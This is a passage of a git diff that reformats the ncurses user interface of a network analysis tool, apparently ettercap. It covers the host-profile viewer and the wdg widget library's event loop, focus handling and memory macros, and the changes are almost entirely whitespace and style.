wdg_set_color(wdg_profiles, WDG_COLOR_TITLE, EC_COLOR_TITLE); wdg_draw_object(wdg_profiles); - + wdg_set_focus(wdg_profiles); /* set the list print callback */ wdg_dynlist_print_callback(wdg_profiles, profile_print); - + /* set the select callback */ wdg_dynlist_select_callback(wdg_profiles, curses_profile_detail); - + /* add the callback on idle to refresh the profile list */ wdg_add_idle_callback(refresh_profiles); @@ -106,7 +105,7 @@ static void curses_kill_profiles(void) static void curses_profiles_help(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; char help[] = "HELP: shortcut list:\n\n" " ENTER - show the infos about the host\n" @@ -123,7 +122,7 @@ static void refresh_profiles(void) /* if not focused don't refresh it */ if (!(wdg_profiles->flags & WDG_OBJ_FOCUSED)) return; - + wdg_dynlist_refresh(wdg_profiles); } @@ -136,8 +135,8 @@ static void curses_profile_detail(void *profile) struct open_port *o; struct active_user *u; char tmp[MAX_ASCII_ADDR_LEN]; - char os[OS_LEN+1]; - + char os[OS_LEN + 1]; + DEBUG_MSG("curses_profile_detail"); /* if the object already exist, set the focus to it */ @@ -145,9 +144,9 @@ static void curses_profile_detail(void *profile) wdg_destroy_object(&wdg_pro_detail); wdg_pro_detail = NULL; } - + wdg_create_object(&wdg_pro_detail, WDG_SCROLL, WDG_OBJ_WANT_FOCUS); - + wdg_set_title(wdg_pro_detail, "Profile details:", WDG_ALIGN_LEFT); wdg_set_size(wdg_pro_detail, 1, 2, -1, SYSMSG_WIN_SIZE - 1); wdg_set_color(wdg_pro_detail, WDG_COLOR_SCREEN, EC_COLOR); @@ -156,18 +155,18 @@ static void curses_profile_detail(void *profile) wdg_set_color(wdg_pro_detail, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_color(wdg_pro_detail, WDG_COLOR_TITLE, EC_COLOR_TITLE); wdg_draw_object(wdg_pro_detail); - + wdg_set_focus(wdg_pro_detail); wdg_add_destroy_key(wdg_pro_detail, CTRL('Q'), NULL); wdg_scroll_set_lines(wdg_pro_detail, 100); memset(os, 0, sizeof(os)); - + wdg_scroll_print(wdg_pro_detail, EC_COLOR, " IP address : %s \n", ip_addr_ntoa(&h->L3_addr, tmp)); if (strcmp(h->hostname, "")) wdg_scroll_print(wdg_pro_detail, EC_COLOR, " Hostname : %s \n", h->hostname); - + #ifdef WITH_GEOIP if (GBL_CONF->geoip_support_enable) wdg_scroll_print(wdg_pro_detail, EC_COLOR, " Location : %s \n", geoip_country_by_ip(&h->L3_addr)); @@ -177,7 +176,7 @@ static void curses_profile_detail(void *profile) if (h->type & FP_HOST_LOCAL || h->type == FP_UNKNOWN) { wdg_scroll_print(wdg_pro_detail, EC_COLOR, " MAC address : %s \n", mac_addr_ntoa(h->L2_addr, tmp)); - wdg_scroll_print(wdg_pro_detail, EC_COLOR, " MANUFACTURER : %s \n\n", manuf_search((const char*)h->L2_addr)); + wdg_scroll_print(wdg_pro_detail, EC_COLOR, " MANUFACTURER : %s \n\n", manuf_search((const char *)h->L2_addr)); } wdg_scroll_print(wdg_pro_detail, EC_COLOR, " DISTANCE : %d \n", h->distance); @@ -193,27 +192,26 @@ static void curses_profile_detail(void *profile) wdg_scroll_print(wdg_pro_detail, EC_COLOR, " TYPE : unknown\n\n"); if (h->os) - wdg_scroll_print(wdg_pro_detail, EC_COLOR, " OBSERVED OS : %s\n\n", h->os); + wdg_scroll_print(wdg_pro_detail, EC_COLOR, " OBSERVED OS : %s\n\n", h->os); wdg_scroll_print(wdg_pro_detail, EC_COLOR, " FINGERPRINT : %s\n", h->fingerprint); - if (fingerprint_search((const char*)h->fingerprint, os) == E_SUCCESS) + if (fingerprint_search((const char *)h->fingerprint, os) == E_SUCCESS) wdg_scroll_print(wdg_pro_detail, EC_COLOR, " OPERATING SYSTEM : %s \n\n", os); else { wdg_scroll_print(wdg_pro_detail, EC_COLOR, " OPERATING SYSTEM : unknown fingerprint (please submit it) \n"); wdg_scroll_print(wdg_pro_detail, EC_COLOR, " NEAREST ONE IS : %s \n\n", os); } - - + LIST_FOREACH(o, &(h->open_ports_head), next) { - - wdg_scroll_print(wdg_pro_detail, EC_COLOR, " PORT : %s %d | %s \t[%s]\n", - (o->L4_proto == NL_TYPE_TCP) ? "TCP" : "UDP" , - ntohs(o->L4_addr), - service_search(o->L4_addr, o->L4_proto), - (o->banner) ? o->banner : ""); - + + wdg_scroll_print(wdg_pro_detail, EC_COLOR, " PORT : %s %d | %s \t[%s]\n", + (o->L4_proto == NL_TYPE_TCP) ? "TCP" : "UDP", + ntohs(o->L4_addr), + service_search(o->L4_addr, o->L4_proto), + (o->banner) ? o->banner : ""); + LIST_FOREACH(u, &(o->users_list_head), next) { - + if (u->failed) wdg_scroll_print(wdg_pro_detail, EC_COLOR, " ACCOUNT : * %s / %s (%s)\n", u->user, u->pass, ip_addr_ntoa(&u->client, tmp)); else @@ -229,7 +227,7 @@ static void curses_profile_detail(void *profile) static void curses_profiles_local(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; profile_purge_remote(); wdg_dynlist_reset(wdg_profiles); @@ -239,7 +237,7 @@ static void curses_profiles_local(void *dummy) static void curses_profiles_remote(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; profile_purge_local(); wdg_dynlist_reset(wdg_profiles); @@ -249,7 +247,7 @@ static void curses_profiles_remote(void *dummy) static void curses_profiles_convert(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; profile_convert_to_hostlist(); curses_message("The hosts list was populated with local profiles"); @@ -258,7 +256,7 @@ static void curses_profiles_convert(void *dummy) static void curses_profiles_dump(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; DEBUG_MSG("curses_profiles_dump"); @@ -267,7 +265,6 @@ static void curses_profiles_dump(void *dummy) SAFE_CALLOC(logfile, 50, sizeof(char)); curses_input("Log File :", logfile, 50, dump_profiles); - } static void dump_profiles(void) @@ -280,4 +277,3 @@ static void dump_profiles(void) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/curses/widgets/wdg.c b/src/interfaces/curses/widgets/wdg.c index 2954ded68..dfd466d32 100644 --- a/src/interfaces/curses/widgets/wdg.c +++ b/src/interfaces/curses/widgets/wdg.c @@ -1,30 +1,29 @@ /* - WDG -- widgets helper for ncurses - - Copyright (C) ALoR - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * WDG -- widgets helper for ncurses + * + * Copyright (C) ALoR + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include #include - /* GLOBALS */ /* mutexes */ @@ -32,7 +31,6 @@ static pthread_mutex_t wdg_mutex = PTHREAD_MUTEX_INITIALIZER; #define WDG_LOCK do { pthread_mutex_lock(&wdg_mutex); } while (0) #define WDG_UNLOCK do { pthread_mutex_unlock(&wdg_mutex); } while (0) - /* information about the current screen */ struct wdg_scr current_screen; @@ -87,18 +85,18 @@ extern void wdg_create_dynlist(struct wdg_object *wo); void wdg_init(void) { WDG_DEBUG_INIT(); - + WDG_DEBUG_MSG("wdg_init: setting up the term..."); - + /* initialize the curses interface */ - initscr(); + initscr(); /* disable buffering until carriage return */ - cbreak(); + cbreak(); /* disable echo of typed chars */ noecho(); - + /* better compatibility with return key */ nonl(); @@ -110,10 +108,10 @@ void wdg_init(void) /* don't flush input on break */ intrflush(stdscr, FALSE); - - /* enable function and arrow keys */ + + /* enable function and arrow keys */ keypad(stdscr, TRUE); - + /* activate colors if available */ if (has_colors()) { current_screen.flags |= WDG_SCR_HAS_COLORS; @@ -137,13 +135,12 @@ void wdg_init(void) #ifdef NCURSES_MOUSE_VERSION /* activate the mask to receive mouse events */ - mousemask(ALL_MOUSE_EVENTS, (mmask_t *) 0); + mousemask(ALL_MOUSE_EVENTS, (mmask_t *)0); #endif WDG_DEBUG_MSG("wdg_init: initialized"); } - /* * cleanup the widgets interface */ @@ -152,9 +149,9 @@ void wdg_cleanup(void) /* can only cleanup if it was initialized */ if (!(current_screen.flags & WDG_SCR_INITIALIZED)) return; - + WDG_DEBUG_MSG("wdg_cleanup"); - + /* show the cursor */ curs_set(TRUE); @@ -172,22 +169,22 @@ void wdg_cleanup(void) #ifdef NCURSES_MOUSE_VERSION /* reset the mouse event reception */ - mousemask(0, (mmask_t *) 0); + mousemask(0, (mmask_t *)0); #endif - + WDG_DEBUG_CLOSE(); } /* * used to exit from the events_handler. * this function will put in the input buffer - * the exit key, so the handler will get it - * and perfrom a clean exit + * the exit key, so the handler will get it + * and perfrom a clean exit */ void wdg_exit(void) { WDG_DEBUG_MSG("wdg_exit"); - + /* put the exit key in the input buffer */ ungetch(wdg_exit_key); } @@ -202,15 +199,15 @@ void wdg_update_screen(void) WDG_UNLOCK; } -/* +/* * called upon screen resize */ void wdg_redraw_all(void) { struct wdg_obj_list *wl; - + WDG_DEBUG_MSG("wdg_redraw_all"); - + /* remember the current screen size */ getmaxyx(stdscr, current_screen.lines, current_screen.cols); @@ -219,11 +216,10 @@ void wdg_redraw_all(void) WDG_BUG_IF(wl->wo->redraw == NULL); WDG_EXECUTE(wl->wo->redraw, wl->wo); } - } /* - * this function handles all the inputed keys + * this function handles all the inputed keys * from the user and dispatches them to the * wdg objects */ @@ -231,12 +227,12 @@ int wdg_events_handler(int exit_key) { int key; struct wdg_mouse_event mouse; - + WDG_DEBUG_MSG("wdg_events_handler (%c)", exit_key); /* set the global exit key (used by wdg_exit()) */ wdg_exit_key = exit_key; - + /* infinite loop */ WDG_LOOP { @@ -244,94 +240,94 @@ int wdg_events_handler(int exit_key) key = wgetch(stdscr); switch (key) { - - case KEY_TAB: - /* switch focus between objects */ - wdg_switch_focus(SWITCH_FOREWARD); - /* update the screen */ - WDG_LOCK; - doupdate(); - WDG_UNLOCK; - break; - - case KEY_CTRL_L: - /* redrawing the screen is equivalent to resizing it */ - case KEY_RESIZE: - /* the screen has been resized */ - wdg_redraw_all(); - /* update the screen */ - WDG_LOCK; - doupdate(); - WDG_UNLOCK; - break; - - case ERR: - /* - * non-blocking input reached the timeout: - * call the idle function if present, else - * sleep to not eat up all the cpu - */ - if (SLIST_EMPTY(&wdg_callbacks_list)) { - /* sleep for milliseconds */ - napms(WDG_INPUT_TIMEOUT * 10); - /* XXX - too many refresh ? */ - refresh(); - } else { - struct wdg_call_list *cl; - SLIST_FOREACH(cl, &wdg_callbacks_list, next) - cl->idle_callback(); - } - /* - * update the screen. - * all the function uses wnoutrefresh() funcions - */ - WDG_LOCK; - doupdate(); - WDG_UNLOCK; - break; - - default: - /* emergency exit key */ - if (key == wdg_exit_key) - return WDG_E_SUCCESS; + + case KEY_TAB: + /* switch focus between objects */ + wdg_switch_focus(SWITCH_FOREWARD); + /* update the screen */ + WDG_LOCK; + doupdate(); + WDG_UNLOCK; + break; + + case KEY_CTRL_L: + /* redrawing the screen is equivalent to resizing it */ + case KEY_RESIZE: + /* the screen has been resized */ + wdg_redraw_all(); + /* update the screen */ + WDG_LOCK; + doupdate(); + WDG_UNLOCK; + break; + + case ERR: + /* + * non-blocking input reached the timeout: + * call the idle function if present, else + * sleep to not eat up all the cpu + */ + if (SLIST_EMPTY(&wdg_callbacks_list)) { + /* sleep for milliseconds */ + napms(WDG_INPUT_TIMEOUT * 10); + /* XXX - too many refresh ? */ + refresh(); + } else { + struct wdg_call_list *cl; + SLIST_FOREACH(cl, &wdg_callbacks_list, next) + cl->idle_callback(); + } + /* + * update the screen. + * all the function uses wnoutrefresh() funcions + */ + WDG_LOCK; + doupdate(); + WDG_UNLOCK; + break; + + default: + /* emergency exit key */ + if (key == wdg_exit_key) + return WDG_E_SUCCESS; #ifdef NCURSES_MOUSE_VERSION - /* handle mouse events */ - if (key == KEY_MOUSE) { - MEVENT event; - - getmouse(&event); - mouse_trafo(&event.y, &event.x, TRUE); - mouse.x = event.x; - mouse.y = event.y; - mouse.event = event.bstate; - } -#else - /* we don't support mouse events */ - memset(&mouse, 0, sizeof(mouse)); + /* handle mouse events */ + if (key == KEY_MOUSE) { + MEVENT event; + + getmouse(&event); + mouse_trafo(&event.y, &event.x, TRUE); + mouse.x = event.x; + mouse.y = event.y; + mouse.event = event.bstate; + } +#else + /* we don't support mouse events */ + memset(&mouse, 0, sizeof(mouse)); #endif - /* dispatch the user input */ - wdg_dispatch_msg(key, &mouse); - /* update the screen */ - WDG_LOCK; - doupdate(); - WDG_UNLOCK; - break; + /* dispatch the user input */ + wdg_dispatch_msg(key, &mouse); + /* update the screen */ + WDG_LOCK; + doupdate(); + WDG_UNLOCK; + break; } } - + /* NOT REACHED */ - + return WDG_E_SUCCESS; } /* - * add a function to the idle callbacks list + * add a function to the idle callbacks list */ void wdg_add_idle_callback(void (*callback)(void)) { struct wdg_call_list *cl; - + WDG_DEBUG_MSG("wdg_add_idle_callback (%p)", callback); WDG_SAFE_CALLOC(cl, 1, sizeof(struct wdg_call_list)); @@ -349,7 +345,7 @@ void wdg_add_idle_callback(void (*callback)(void)) void wdg_del_idle_callback(void (*callback)(void)) { struct wdg_call_list *cl; - + WDG_DEBUG_MSG("wdg_del_idle_callback (%p)", callback); SLIST_FOREACH(cl, &wdg_callbacks_list, next) { @@ -379,26 +375,26 @@ static void wdg_dispatch_msg(int key, struct wdg_mouse_event *mouse) WDG_EXECUTE(wdg_focused_obj->wo->destroy_callback); wdg_destroy_object(&wo); wdg_redraw_all(); - + /* object was destroyed */ return; } /* deliver the message normally */ wdg_focused_obj->wo->get_msg(wdg_focused_obj->wo, key, mouse); - + /* other objects must not receive the msg */ return; } - + /* - * if it is a mouse event, we have to dispatch to all + * if it is a mouse event, we have to dispatch to all * the object in the list until someone handles it */ if (key == KEY_MOUSE) { struct wdg_obj_list *wl; - - /* + + /* * first dispatch to the root object, * since it is usually a menu, it may overlap * other objects and needs to get the event first @@ -409,7 +405,7 @@ static void wdg_dispatch_msg(int key, struct wdg_mouse_event *mouse) return; } - /* + /* * then dispatch to the focused object. * it may overlap and needs to event before the others * to prevent an undesired raising of underlaying objects @@ -417,18 +413,18 @@ static void wdg_dispatch_msg(int key, struct wdg_mouse_event *mouse) if (wdg_focused_obj != NULL) { if (wdg_focused_obj->wo->get_msg(wdg_focused_obj->wo, key, mouse) == WDG_E_SUCCESS) /* the focused object handled the message */ - return; + return; } /* dispatch to all the other objects */ TAILQ_FOREACH(wl, &wdg_objects_list, next) { - if ((wl->wo->flags & WDG_OBJ_WANT_FOCUS) && (wl->wo->flags & WDG_OBJ_VISIBLE) ) { + if ((wl->wo->flags & WDG_OBJ_WANT_FOCUS) && (wl->wo->flags & WDG_OBJ_VISIBLE)) { if (wl->wo->get_msg(wl->wo, key, mouse) == WDG_E_SUCCESS) return; } } - /* it is a keyboard event */ + /* it is a keyboard event */ } else { /* first dispatch to the root object */ @@ -436,7 +432,7 @@ static void wdg_dispatch_msg(int key, struct wdg_mouse_event *mouse) if (wdg_root_obj->get_msg(wdg_root_obj, key, mouse) == WDG_E_SUCCESS) /* the root object handled the message */ return; - + /* check the destroy callback */ if (key == wdg_root_obj->destroy_key) { WDG_EXECUTE(wdg_root_obj->destroy_callback); @@ -446,15 +442,15 @@ static void wdg_dispatch_msg(int key, struct wdg_mouse_event *mouse) } } - /* + /* * the root_object has not handled it. * dispatch to the focused one */ if (wdg_focused_obj != NULL) { if (wdg_focused_obj->wo->get_msg(wdg_focused_obj->wo, key, mouse) == WDG_E_SUCCESS) /* the focused object handled the message */ - return; - + return; + /* check the destroy callback */ if (wdg_focused_obj->wo && key == wdg_focused_obj->wo->destroy_key) { struct wdg_object *wo = wdg_focused_obj->wo; @@ -464,7 +460,7 @@ static void wdg_dispatch_msg(int key, struct wdg_mouse_event *mouse) return; } } - + /* noone handled the message, flash an error */ flash(); beep(); @@ -482,13 +478,13 @@ static void wdg_switch_focus(int type) /* the focused object is modal ! don't switch */ if (wdg_focused_obj && (wdg_focused_obj->wo->flags & WDG_OBJ_FOCUS_MODAL)) return; - + /* if there is not a focused object, create it */ if (wdg_focused_obj == NULL) { - + /* search the first "focusable" object */ TAILQ_FOREACH(wl, &wdg_objects_list, next) { - if ((wl->wo->flags & WDG_OBJ_WANT_FOCUS) && (wl->wo->flags & WDG_OBJ_VISIBLE) ) { + if ((wl->wo->flags & WDG_OBJ_WANT_FOCUS) && (wl->wo->flags & WDG_OBJ_VISIBLE)) { /* set the focused object */ wdg_focused_obj = wl; /* focus current object */ @@ -498,37 +494,36 @@ static void wdg_switch_focus(int type) } } } - + /* unfocus the current object */ WDG_BUG_IF(wdg_focused_obj->wo->lost_focus == NULL); WDG_EXECUTE(wdg_focused_obj->wo->lost_focus, wdg_focused_obj->wo); - - /* + + /* * focus the next/prev element in the list. * only focus objects that have the WDG_OBJ_WANT_FOCUS flag */ do { switch (type) { - case SWITCH_FOREWARD: - wdg_focused_obj = TAILQ_NEXT(wdg_focused_obj, next); - /* we are at the end, move to the first element */ - if (wdg_focused_obj == TAILQ_END(&wdg_objects_list)) - wdg_focused_obj = TAILQ_FIRST(&wdg_objects_list); - break; - case SWITCH_BACKWARD: - /* we are on the head, move to the last element */ - if (wdg_focused_obj == TAILQ_FIRST(&wdg_objects_list)) - wdg_focused_obj = TAILQ_LAST(&wdg_objects_list, wol); - else - wdg_focused_obj = TAILQ_PREV(wdg_focused_obj, wol, next); - break; + case SWITCH_FOREWARD: + wdg_focused_obj = TAILQ_NEXT(wdg_focused_obj, next); + /* we are at the end, move to the first element */ + if (wdg_focused_obj == TAILQ_END(&wdg_objects_list)) + wdg_focused_obj = TAILQ_FIRST(&wdg_objects_list); + break; + case SWITCH_BACKWARD: + /* we are on the head, move to the last element */ + if (wdg_focused_obj == TAILQ_FIRST(&wdg_objects_list)) + wdg_focused_obj = TAILQ_LAST(&wdg_objects_list, wol); + else + wdg_focused_obj = TAILQ_PREV(wdg_focused_obj, wol, next); + break; } - } while ( !(wdg_focused_obj->wo->flags & WDG_OBJ_WANT_FOCUS) || !(wdg_focused_obj->wo->flags & WDG_OBJ_VISIBLE) ); + } while (!(wdg_focused_obj->wo->flags & WDG_OBJ_WANT_FOCUS) || !(wdg_focused_obj->wo->flags & WDG_OBJ_VISIBLE)); /* focus current object */ WDG_BUG_IF(wdg_focused_obj->wo->get_focus == NULL); WDG_EXECUTE(wdg_focused_obj->wo->get_focus, wdg_focused_obj->wo); - } /* @@ -540,7 +535,7 @@ void wdg_set_focus(struct wdg_object *wo) /* search the object and focus it */ TAILQ_FOREACH(wl, &wdg_objects_list, next) { - if ( wl->wo == wo ) { + if (wl->wo == wo) { /* unfocus the current object */ if (wdg_focused_obj) WDG_EXECUTE(wdg_focused_obj->wo->lost_focus, wdg_focused_obj->wo); @@ -555,73 +550,73 @@ void wdg_set_focus(struct wdg_object *wo) } /* - * create a wdg object + * create a wdg object */ int wdg_create_object(struct wdg_object **wo, size_t type, size_t flags) { struct wdg_obj_list *wl; - + WDG_DEBUG_MSG("wdg_create_object (%d)", type); - + /* alloc the struct */ WDG_SAFE_CALLOC(*wo, 1, sizeof(struct wdg_object)); /* set the flags */ (*wo)->flags = flags; (*wo)->type = type; - + /* call the specific function */ switch (type) { - case WDG_COMPOUND: - wdg_create_compound(*wo); - break; - - case WDG_WINDOW: - wdg_create_window(*wo); - break; - - case WDG_PANEL: - wdg_create_panel(*wo); - break; - - case WDG_SCROLL: - wdg_create_scroll(*wo); - break; - - case WDG_MENU: - wdg_create_menu(*wo); - break; - - case WDG_DIALOG: - wdg_create_dialog(*wo); - break; - - case WDG_PERCENTAGE: - wdg_create_percentage(*wo); - break; - - case WDG_FILE: - wdg_create_file(*wo); - break; - - case WDG_INPUT: - wdg_create_input(*wo); - break; - - case WDG_LIST: - wdg_create_list(*wo); - break; - - case WDG_DYNLIST: - wdg_create_dynlist(*wo); - break; - - default: - WDG_SAFE_FREE(*wo); - return -WDG_E_FATAL; - break; + case WDG_COMPOUND: + wdg_create_compound(*wo); + break; + + case WDG_WINDOW: + wdg_create_window(*wo); + break; + + case WDG_PANEL: + wdg_create_panel(*wo); + break; + + case WDG_SCROLL: + wdg_create_scroll(*wo); + break; + + case WDG_MENU: + wdg_create_menu(*wo); + break; + + case WDG_DIALOG: + wdg_create_dialog(*wo); + break; + + case WDG_PERCENTAGE: + wdg_create_percentage(*wo); + break; + + case WDG_FILE: + wdg_create_file(*wo); + break; + + case WDG_INPUT: + wdg_create_input(*wo); + break; + + case WDG_LIST: + wdg_create_list(*wo); + break; + + case WDG_DYNLIST: + wdg_create_dynlist(*wo); + break; + + default: + WDG_SAFE_FREE(*wo); + return -WDG_E_FATAL; + break; } - + /* alloc the element in the object list */ WDG_SAFE_CALLOC(wl, 1, sizeof(struct wdg_obj_list)); @@ -630,11 +625,11 @@ int wdg_create_object(struct wdg_object **wo, size_t type, size_t flags) /* insert it in the list */ TAILQ_INSERT_TAIL(&wdg_objects_list, wl, next); - + /* this is the root object */ if (flags & WDG_OBJ_ROOT_OBJECT) wdg_root_obj = *wo; - + return WDG_E_SUCCESS; } @@ -644,29 +639,29 @@ int wdg_create_object(struct wdg_object **wo, size_t type, size_t flags) int wdg_destroy_object(struct wdg_object **wo) { struct wdg_obj_list *wl; - + WDG_DEBUG_MSG("wdg_destroy_object (%p)", *wo); - + /* sanity check */ if (*wo == NULL) return -WDG_E_NOTHANDLED; - + /* delete it from the obj_list */ TAILQ_FOREACH(wl, &wdg_objects_list, next) { if (wl->wo == *wo) { - + /* was it the root object ? */ if ((*wo)->flags & WDG_OBJ_ROOT_OBJECT) wdg_root_obj = NULL; - + /* it was the focused one */ if (wdg_focused_obj && wdg_focused_obj->wo == *wo) { /* remove the modal flat to enable the switch */ (*wo)->flags &= ~WDG_OBJ_FOCUS_MODAL; wdg_switch_focus(SWITCH_BACKWARD); } - - /* + + /* * check if it was the only object in the list * and it has gained the focus with the previous * call to wdg_switch_focus(); @@ -677,16 +672,16 @@ int wdg_destroy_object(struct wdg_object **wo) /* remove the object */ TAILQ_REMOVE(&wdg_objects_list, wl, next); WDG_SAFE_FREE(wl); - + /* call the specialized destroy function */ WDG_BUG_IF((*wo)->destroy == NULL); WDG_EXECUTE((*wo)->destroy, *wo); - + /* free the title */ WDG_SAFE_FREE((*wo)->title); /* then free the object */ WDG_SAFE_FREE(*wo); - + return WDG_E_SUCCESS; } } @@ -725,7 +720,7 @@ void wdg_set_size(struct wdg_object *wo, int x1, int y1, int x2, int y2) void wdg_draw_object(struct wdg_object *wo) { WDG_DEBUG_MSG("wdg_draw_object (%p)", wo); - + /* display the object */ WDG_BUG_IF(wo->redraw == NULL); WDG_EXECUTE(wo->redraw, wo); @@ -739,30 +734,30 @@ size_t wdg_get_type(struct wdg_object *wo) return wo->type; } -/* +/* * set the color of an object */ void wdg_set_color(wdg_t *wo, size_t part, u_char pair) { switch (part) { - case WDG_COLOR_SCREEN: - wo->screen_color = pair; - break; - case WDG_COLOR_TITLE: - wo->title_color = pair; - break; - case WDG_COLOR_BORDER: - wo->border_color = pair; - break; - case WDG_COLOR_FOCUS: - wo->focus_color = pair; - break; - case WDG_COLOR_WINDOW: - wo->window_color = pair; - break; - case WDG_COLOR_SELECT: - wo->select_color = pair; - break; + case WDG_COLOR_SCREEN: + wo->screen_color = pair; + break; + case WDG_COLOR_TITLE: + wo->title_color = pair; + break; + case WDG_COLOR_BORDER: + wo->border_color = pair; + break; + case WDG_COLOR_FOCUS: + wo->focus_color = pair; + break; + case WDG_COLOR_WINDOW: + wo->window_color = pair; + break; + case WDG_COLOR_SELECT: + wo->select_color = pair; + break; } } @@ -785,7 +780,7 @@ void wdg_screen_color(u_char pair) } /* - * set the object's title + * set the object's title */ void wdg_set_title(struct wdg_object *wo, char *title, size_t align) { @@ -794,26 +789,26 @@ void wdg_set_title(struct wdg_object *wo, char *title, size_t align) WDG_SAFE_STRDUP(wo->title, title); } -/* +/* * functions to calculate real dimensions - * from the given relative cohordinates + * from the given relative cohordinates */ size_t wdg_get_nlines(struct wdg_object *wo) { size_t a, b; int c = current_screen.lines; - + if (wo->y1 >= 0) a = wo->y1; - else + else a = (c + wo->y1 > 0) ? (c + wo->y1) : 0; if (wo->y2 > 0) b = wo->y2; else b = (c + wo->y2 > 0) ? (c + wo->y2) : 0; - + /* only return positive values */ return (b > a) ? b - a : 0; } @@ -822,17 +817,17 @@ size_t wdg_get_ncols(struct wdg_object *wo) { size_t a, b; int c = current_screen.cols; - + if (wo->x1 >= 0) a = wo->x1; - else + else a = (c + wo->x1 > 0) ? (c + wo->x1) : 0; if (wo->x2 > 0) b = wo->x2; else b = (c + wo->x2 > 0) ? (c + wo->x2) : 0; - + /* only return positive values */ return (b > a) ? b - a : 0; } @@ -860,4 +855,3 @@ size_t wdg_get_begin_y(struct wdg_object *wo) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/curses/widgets/wdg.h b/src/interfaces/curses/widgets/wdg.h index ce46f6afe..fc5cb5cd6 100644 --- a/src/interfaces/curses/widgets/wdg.h +++ b/src/interfaces/curses/widgets/wdg.h @@ -1,5 +1,4 @@ - #ifndef WDG_H #define WDG_H @@ -11,7 +10,7 @@ #include #ifdef OS_WINDOWS - #include +#include #endif #include @@ -19,28 +18,27 @@ #include #if defined HAVE_STDINT_H && !defined OS_SOLARIS - #include - #include +#include +#include #elif defined OS_SOLARIS - #include +#include #endif #ifndef TYPES_DEFINED #define TYPES_DEFINED - typedef int8_t int8; - typedef int16_t int16; - typedef int32_t int32; - typedef int64_t int64; - - typedef uint8_t u_int8; - typedef uint16_t u_int16; - typedef uint32_t u_int32; - typedef uint64_t u_int64; +typedef int8_t int8; +typedef int16_t int16; +typedef int32_t int32; +typedef int64_t int64; + +typedef uint8_t u_int8; +typedef uint16_t u_int16; +typedef uint32_t u_int32; +typedef uint64_t u_int64; #endif - #define LIBWDG_VERSION "0.10.3" - + /********************************************/ enum { @@ -53,62 +51,66 @@ enum { /* min and max */ #ifndef MIN - #define MIN(a, b) (((a) < (b)) ? (a) : (b)) +#define MIN(a, b) (((a) < (b)) ? (a) : (b)) #endif #ifndef MAX - #define MAX(a, b) (((a) > (b)) ? (a) : (b)) +#define MAX(a, b) (((a) > (b)) ? (a) : (b)) #endif extern void wdg_debug_init(void); extern void wdg_debug_close(void); extern void wdg_debug_msg(const char *message, ...); #ifdef DEBUG - #define WDG_DEBUG_INIT() wdg_debug_init() - #define WDG_DEBUG_CLOSE() wdg_debug_close() - #define WDG_DEBUG_MSG(x, ...) wdg_debug_msg(x, ## __VA_ARGS__ ) +#define WDG_DEBUG_INIT() wdg_debug_init() +#define WDG_DEBUG_CLOSE() wdg_debug_close() +#define WDG_DEBUG_MSG(x, ...) wdg_debug_msg(x, ## __VA_ARGS__) #else - #define WDG_DEBUG_INIT() - #define WDG_DEBUG_CLOSE() - #define WDG_DEBUG_MSG(x, ...) +#define WDG_DEBUG_INIT() +#define WDG_DEBUG_CLOSE() +#define WDG_DEBUG_MSG(x, ...) #endif extern void wdg_error_msg(char *file, const char *function, int line, char *message, ...); -#define WDG_ON_ERROR(x, y, fmt, ...) do { if (x == y) wdg_error_msg(__FILE__, __FUNCTION__, __LINE__, fmt, ## __VA_ARGS__ ); } while(0) +#define WDG_ON_ERROR(x, y, fmt, ...) do { if (x == y) wdg_error_msg(__FILE__, __FUNCTION__, __LINE__, fmt, ## __VA_ARGS__); } while (0) extern void wdg_bug(char *file, const char *function, int line, char *message); -#define WDG_BUG_IF(x) do { if (x) wdg_bug(__FILE__, __FUNCTION__, __LINE__, #x); }while(0) -#define WDG_NOT_IMPLEMENTED() do { wdg_bug(__FILE__, __FUNCTION__, __LINE__, "Not yet implemented"); } while(0) - -#define WDG_SAFE_CALLOC(x, n, s) do { \ - x = calloc(n, s); \ - WDG_ON_ERROR(x, NULL, "virtual memory exhausted"); \ - /* WDG_DEBUG_MSG("[%s:%d] WDG_SAFE_CALLOC: %#x", __FUNCTION__, __LINE__, x); */ \ -} while(0) - -#define WDG_SAFE_REALLOC(x, s) do { \ - /* WDG_DEBUG_MSG("[%s:%d] WDG_SAFE_REALLOC: before %#x", __FUNCTION__, __LINE__, x); */ \ - x = realloc(x, s); \ - WDG_ON_ERROR(x, NULL, "virtual memory exhausted"); \ - /* WDG_DEBUG_MSG("[%s:%d] WDG_SAFE_REALLOC: after %#x", __FUNCTION__, __LINE__, x); */ \ -} while(0) - -#define WDG_SAFE_FREE(x) do{ \ - /* WDG_DEBUG_MSG("[%s:%d] WDG_SAFE_FREE: %#x", __FUNCTION__, __LINE__, x); */ \ - if (x) { \ - free(x); \ - x = NULL; \ - } \ -}while(0) - -#define WDG_SAFE_STRDUP(x, s) do{ \ - x = strdup(s); \ - WDG_ON_ERROR(x, NULL, "virtual memory exhausted"); \ - /* WDG_DEBUG_MSG("[%s:%d] WDG_SAFE_STRDUP: %#x", __FUNCTION__, __LINE__, x); */ \ -}while(0) - -#define WDG_EXECUTE(x, ...) do{ if(x != NULL) x( __VA_ARGS__ ); }while(0) - -#define 